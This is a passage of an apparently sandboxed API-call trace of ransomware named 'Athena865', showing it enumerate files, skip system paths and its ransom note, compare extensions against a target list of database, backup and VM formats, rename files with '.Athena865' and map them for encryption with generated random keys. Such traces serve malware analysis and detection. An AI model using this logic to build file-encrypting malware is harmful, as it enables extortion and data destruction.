dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1960) returned 0x100000 [0132.575] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.581] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.582] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.585] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.585] CloseHandle (hObject=0x154) returned 1 [0132.585] CloseHandle (hObject=0x17c) returned 1 [0132.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.588] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1 [0132.588] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.589] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.589] lstrcmpiW (lpString1="PARNT_03.MID", lpString2=".") returned 1 [0132.589] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="..") returned 1 [0132.589] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="windows") returned -1 [0132.590] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="bootmgr") returned 1 [0132.590] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="temp") returned -1 [0132.591] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="pagefile.sys") returned 1 [0132.591] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="boot") returned 1 [0132.592] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="ids.txt") returned 1 [0132.592] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="ntuser.dat") returned 1 [0132.592] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="perflogs") returned -1 [0132.592] lstrcmpiW (lpString1="PARNT_03.MID", lpString2="MSBuild") returned 1 [0132.592] lstrlenW (lpString="PARNT_03.MID") returned 12 [0132.592] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_03.MID" | out: lpString1="PARNT_03.MID") returned="PARNT_03.MID" [0132.592] lstrlenW (lpString="PARNT_03.MID") returned 12 [0132.592] lstrlenW (lpString="Athena865") returned 9 [0132.592] lstrcmpiW (lpString1="NT_03.MID", lpString2="Athena865") returned 1 [0132.592] lstrlenW (lpString=".dll") returned 4 [0132.592] lstrcmpiW (lpString1="PARNT_03.MID", lpString2=".dll") returned 1 [0132.592] lstrlenW (lpString=".lnk") returned 4 [0132.592] lstrcmpiW (lpString1="PARNT_03.MID", lpString2=".lnk") returned 1 [0132.592] lstrlenW (lpString=".ini") returned 4 [0132.593] lstrcmpiW (lpString1="PARNT_03.MID", lpString2=".ini") returned 1 [0132.593] lstrlenW (lpString=".sys") returned 4 [0132.594] lstrcmpiW (lpString1="PARNT_03.MID", lpString2=".sys") returned 1 [0132.595] lstrlenW (lpString="PARNT_03.MID") returned 12 [0132.595] lstrlenW (lpString="bak") returned 3 [0132.595] lstrcmpiW (lpString1="MID", lpString2="bak") returned 1 [0132.595] lstrlenW (lpString="ba_") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="ba_") returned 1 [0132.596] lstrlenW (lpString="dbb") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="dbb") returned 1 [0132.596] lstrlenW (lpString="vmdk") returned 4 [0132.596] lstrcmpiW (lpString1=".MID", lpString2="vmdk") returned -1 [0132.596] lstrlenW (lpString="rar") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="rar") returned -1 [0132.596] lstrlenW (lpString="zip") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="zip") returned -1 [0132.596] lstrlenW (lpString="tgz") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="tgz") returned -1 [0132.596] lstrlenW (lpString="vbox") returned 4 [0132.596] lstrcmpiW (lpString1=".MID", lpString2="vbox") returned -1 [0132.596] lstrlenW (lpString="vdi") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="vdi") returned -1 [0132.596] lstrlenW (lpString="vhd") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="vhd") returned -1 [0132.596] lstrlenW (lpString="vhdx") returned 4 [0132.596] lstrcmpiW (lpString1=".MID", lpString2="vhdx") returned -1 [0132.596] lstrlenW (lpString="avhd") returned 4 [0132.596] lstrcmpiW (lpString1=".MID", lpString2="avhd") returned -1 [0132.596] lstrlenW (lpString="db") returned 2 [0132.596] lstrcmpiW (lpString1="ID", lpString2="db") returned 1 [0132.596] lstrlenW (lpString="db2") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="db2") returned 1 [0132.596] lstrlenW (lpString="db3") returned 3 [0132.596] lstrcmpiW (lpString1="MID", lpString2="db3") returned 1 [0132.596] lstrlenW (lpString="dbf") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="dbf") returned 1 [0132.597] lstrlenW (lpString="mdf") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="mdf") returned 1 [0132.597] lstrlenW (lpString="mdb") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="mdb") returned 1 [0132.597] lstrlenW (lpString="sql") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="sql") returned -1 [0132.597] lstrlenW (lpString="sqlite") returned 6 [0132.597] lstrcmpiW (lpString1="03.MID", lpString2="sqlite") returned -1 [0132.597] lstrlenW (lpString="sqlite3") returned 7 [0132.597] lstrcmpiW (lpString1="_03.MID", lpString2="sqlite3") returned -1 [0132.597] lstrlenW (lpString="sqlitedb") returned 8 [0132.597] lstrcmpiW (lpString1="T_03.MID", lpString2="sqlitedb") returned 1 [0132.597] lstrlenW (lpString="xml") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="xml") returned -1 [0132.597] lstrlenW (lpString="$er") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="$er") returned 1 [0132.597] lstrlenW (lpString="4dd") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="4dd") returned 1 [0132.597] lstrlenW (lpString="4dl") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="4dl") returned 1 [0132.597] lstrlenW (lpString="^^^") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="^^^") returned 1 [0132.597] lstrlenW (lpString="abs") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="abs") returned 1 [0132.597] lstrlenW (lpString="abx") returned 3 [0132.597] lstrcmpiW (lpString1="MID", lpString2="abx") returned 1 [0132.597] lstrlenW (lpString="accdb") returned 5 [0132.597] lstrcmpiW (lpString1="3.MID", lpString2="accdb") returned -1 [0132.598] lstrlenW (lpString="accdc") returned 5 [0132.598] lstrcmpiW (lpString1="3.MID", lpString2="accdc") returned -1 [0132.598] lstrlenW (lpString="accde") returned 5 [0132.598] lstrcmpiW (lpString1="3.MID", lpString2="accde") returned -1 [0132.598] lstrlenW (lpString="accdr") returned 5 [0132.598] lstrcmpiW (lpString1="3.MID", lpString2="accdr") returned -1 [0132.598] lstrlenW (lpString="accdt") returned 5 [0132.598] lstrcmpiW (lpString1="3.MID", lpString2="accdt") returned -1 [0132.598] lstrlenW (lpString="accdw") returned 5 [0132.598] lstrcmpiW (lpString1="3.MID", lpString2="accdw") returned -1 [0132.598] lstrlenW (lpString="accft") returned 5 [0132.598] lstrcmpiW (lpString1="3.MID", lpString2="accft") returned -1 [0132.598] lstrlenW (lpString="adb") returned 3 [0132.598] lstrcmpiW (lpString1="MID", lpString2="adb") returned 1 [0132.598] lstrlenW (lpString="adb") returned 3 [0132.598] lstrcmpiW (lpString1="MID", lpString2="adb") returned 1 [0132.598] lstrlenW (lpString="ade") returned 3 [0132.598] lstrcmpiW (lpString1="MID", lpString2="ade") returned 1 [0132.598] lstrlenW (lpString="adf") returned 3 [0132.598] lstrcmpiW (lpString1="MID", lpString2="adf") returned 1 [0132.598] lstrlenW (lpString="adn") returned 3 [0132.598] lstrcmpiW (lpString1="MID", lpString2="adn") returned 1 [0132.598] lstrlenW (lpString="adp") returned 3 [0132.598] lstrcmpiW (lpString1="MID", lpString2="adp") returned 1 [0132.598] lstrlenW (lpString="alf") returned 3 [0132.598] lstrcmpiW (lpString1="MID", lpString2="alf") returned 1 [0132.598] lstrlenW (lpString="ask") returned 3 [0132.598] lstrcmpiW (lpString1="MID", lpString2="ask") returned 1 [0132.599] lstrlenW (lpString="btr") returned 3 [0132.599] lstrcmpiW (lpString1="MID", lpString2="btr") returned 1 [0132.599] lstrlenW (lpString="cat") returned 3 [0132.599] lstrcmpiW (lpString1="MID", lpString2="cat") returned 1 [0132.599] lstrlenW (lpString="cdb") returned 3 [0132.599] lstrcmpiW (lpString1="MID", lpString2="cdb") returned 1 [0132.599] lstrlenW (lpString="ckp") returned 3 [0132.599] lstrcmpiW (lpString1="MID", lpString2="ckp") returned 1 [0132.599] lstrlenW (lpString="cma") returned 3 [0132.599] lstrcmpiW (lpString1="MID", lpString2="cma") returned 1 [0132.599] lstrlenW (lpString="cpd") returned 3 [0132.599] lstrcmpiW (lpString1="MID", lpString2="cpd") returned 1 [0132.599] lstrlenW (lpString="dacpac") returned 6 [0132.599] lstrcmpiW (lpString1="03.MID", lpString2="dacpac") returned -1 [0132.599] lstrlenW (lpString="dad") returned 3 [0132.599] lstrcmpiW (lpString1="MID", lpString2="dad") returned 1 [0132.599] lstrlenW (lpString="dadiagrams") returned 10 [0132.599] lstrcmpiW (lpString1="RNT_03.MID", lpString2="dadiagrams") returned 1 [0132.599] lstrlenW (lpString="daschema") returned 8 [0132.599] lstrcmpiW (lpString1="T_03.MID", lpString2="daschema") returned 1 [0132.599] lstrlenW (lpString="db-journal") returned 10 [0132.599] lstrcmpiW (lpString1="RNT_03.MID", lpString2="db-journal") returned 1 [0132.599] lstrlenW (lpString="db-shm") returned 6 [0132.599] lstrcmpiW (lpString1="03.MID", lpString2="db-shm") returned -1 [0132.599] lstrlenW (lpString="db-wal") returned 6 [0132.599] lstrcmpiW (lpString1="03.MID", lpString2="db-wal") returned -1 [0132.599] lstrlenW (lpString="dbc") returned 3 [0132.600] lstrcmpiW (lpString1="MID", lpString2="dbc") returned 1 [0132.600] lstrlenW (lpString="dbs") returned 3 [0132.600] lstrcmpiW (lpString1="MID", lpString2="dbs") returned 1 [0132.600] lstrlenW (lpString="dbt") returned 3 [0132.600] lstrcmpiW (lpString1="MID", lpString2="dbt") returned 1 [0132.600] lstrlenW (lpString="dbv") returned 3 [0132.600] lstrcmpiW (lpString1="MID", lpString2="dbv") returned 1 [0132.600] lstrlenW (lpString="dbx") returned 3 [0132.600] lstrcmpiW (lpString1="MID", lpString2="dbx") returned 1 [0132.600] lstrlenW (lpString="dcb") returned 3 [0132.600] lstrcmpiW (lpString1="MID", lpString2="dcb") returned 1 [0132.600] lstrcmpiW (lpString1="MID", lpString2="dct") returned 1 [0132.600] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.Athena865") returned 73 [0132.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.athena865"), dwFlags=0x1) returned 1 [0132.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.602] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8538) returned 1 [0132.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.602] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.603] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.603] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.603] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2460, lpName=0x0) returned 0x154 [0132.605] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2460) returned 0x100000 [0132.606] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.606] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.607] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.607] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.608] CloseHandle (hObject=0x154) returned 1 [0132.608] CloseHandle (hObject=0x17c) returned 1 [0132.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.608] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2=".") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="..") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="windows") returned -1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="bootmgr") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="temp") returned -1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="pagefile.sys") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="boot") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="ids.txt") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="ntuser.dat") returned 1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="perflogs") returned -1 [0132.608] lstrcmpiW (lpString1="PARNT_04.MID", lpString2="MSBuild") returned 1 [0132.608] lstrlenW (lpString="PARNT_04.MID") returned 12 [0132.609] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_04.MID" | out: lpString1="PARNT_04.MID") returned="PARNT_04.MID" [0132.609] lstrlenW (lpString="PARNT_04.MID") returned 12 [0132.609] lstrlenW (lpString="Athena865") returned 9 [0132.609] lstrcmpiW (lpString1="NT_04.MID", lpString2="Athena865") returned 1 [0132.609] lstrlenW (lpString=".dll") returned 4 [0132.609] lstrcmpiW (lpString1="PARNT_04.MID", lpString2=".dll") returned 1 [0132.609] lstrlenW (lpString=".lnk") returned 4 [0132.609] lstrcmpiW (lpString1="PARNT_04.MID", lpString2=".lnk") returned 1 [0132.609] lstrlenW (lpString=".ini") returned 4 [0132.609] lstrcmpiW (lpString1="PARNT_04.MID", lpString2=".ini") returned 1 [0132.609] lstrlenW (lpString=".sys") returned 4 [0132.609] lstrcmpiW (lpString1="PARNT_04.MID", lpString2=".sys") returned 1 [0132.609] lstrlenW (lpString="PARNT_04.MID") returned 12 [0132.609] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.Athena865") returned 73 [0132.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.athena865"), dwFlags=0x1) returned 1 [0132.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.611] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6070) returned 1 [0132.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.611] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.612] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.612] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.612] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac0, lpName=0x0) returned 0x154 [0132.613] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ac0) returned 0x100000 [0132.614] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.615] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.615] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.616] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.616] CloseHandle (hObject=0x154) returned 1 [0132.616] CloseHandle (hObject=0x17c) returned 1 [0132.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.616] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2=".") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="..") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="windows") returned -1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="bootmgr") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="temp") returned -1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="pagefile.sys") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="boot") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="ids.txt") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="ntuser.dat") returned 1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="perflogs") returned -1 [0132.617] lstrcmpiW (lpString1="PARNT_05.MID", lpString2="MSBuild") returned 1 [0132.617] lstrlenW (lpString="PARNT_05.MID") returned 12 [0132.617] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_05.MID" | out: lpString1="PARNT_05.MID") returned="PARNT_05.MID" [0132.618] lstrlenW (lpString="PARNT_05.MID") returned 12 [0132.618] lstrlenW (lpString="Athena865") returned 9 [0132.618] lstrcmpiW (lpString1="NT_05.MID", lpString2="Athena865") returned 1 [0132.618] lstrlenW (lpString=".dll") returned 4 [0132.618] lstrcmpiW (lpString1="PARNT_05.MID", lpString2=".dll") returned 1 [0132.618] lstrlenW (lpString=".lnk") returned 4 [0132.618] lstrcmpiW (lpString1="PARNT_05.MID", lpString2=".lnk") returned 1 [0132.618] lstrlenW (lpString=".ini") returned 4 [0132.618] lstrcmpiW (lpString1="PARNT_05.MID", lpString2=".ini") returned 1 [0132.618] lstrlenW (lpString=".sys") returned 4 [0132.618] lstrcmpiW (lpString1="PARNT_05.MID", lpString2=".sys") returned 1 [0132.618] lstrlenW (lpString="PARNT_05.MID") returned 12 [0132.618] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.Athena865") returned 73 [0132.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.athena865"), dwFlags=0x1) returned 1 [0132.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.620] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6020) returned 1 [0132.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.620] CryptAcquireContextW (in: 